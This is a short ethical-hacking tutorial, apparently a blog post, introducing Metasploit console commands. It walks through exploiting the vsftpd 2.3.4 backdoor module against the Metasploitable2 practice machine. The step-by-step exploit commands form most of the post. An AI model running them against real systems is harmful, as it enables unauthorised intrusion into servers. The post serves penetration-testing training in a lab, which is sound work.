• Ethical Hacking


    SERVER SIDE ATTACKS - METASPLOIT

    Metasploit is an exploit development and execution tool. It can also be used to carry out other penetration testing tasks such as port scans, service identification and post exploitation tasks.

    > msfconsole - runs the metasploit console

    > help - shows help

    > show[something] - something can be exploits, payloads, auxiliaries or options.

    > use[something] - use a certain exploit, payload or auxiliary.

    > set [option][value] - configure [option] to have a value of [value]

    > exploit - runs the current task

    Target: Metasploitable2

    Tool: Zenmap, Metasploit on Kali Linux

    Scan the target machine, and find the vsftpd. You can find the backdoor on this application.(https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor)

     

     Exploit the target machine follow below steps.

    msf > use exploit/unix/ftp/vsftpd_234_backdoor
    msf exploit(vsftpd_234_backdoor) > show targets
        ...targets...
    msf exploit(vsftpd_234_backdoor) > set TARGET < target-id >
    msf exploit(vsftpd_234_backdoor) > show options
        ...show and set options...
    msf exploit(vsftpd_234_backdoor) > exploit

     Now exploit the target machine sucessfully.

    相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。
  • 相关阅读:
    姚班
    xxx
    1358B
    1368A
    莫烦Tensorflow 建造自己的NN
    莫烦Tensorflow 入门
    linux服务器安装Apache (Centos)
    C++ 获取Linux 服务器CPU占用率+内存空闲率(亲测绝对可以运行)
    MySQL主键从初始值自增
    基础练习 矩阵乘法
  • 原文地址:https://www.cnblogs.com/keepmoving1113/p/12099086.html
Copyright © 2020-2023  润新知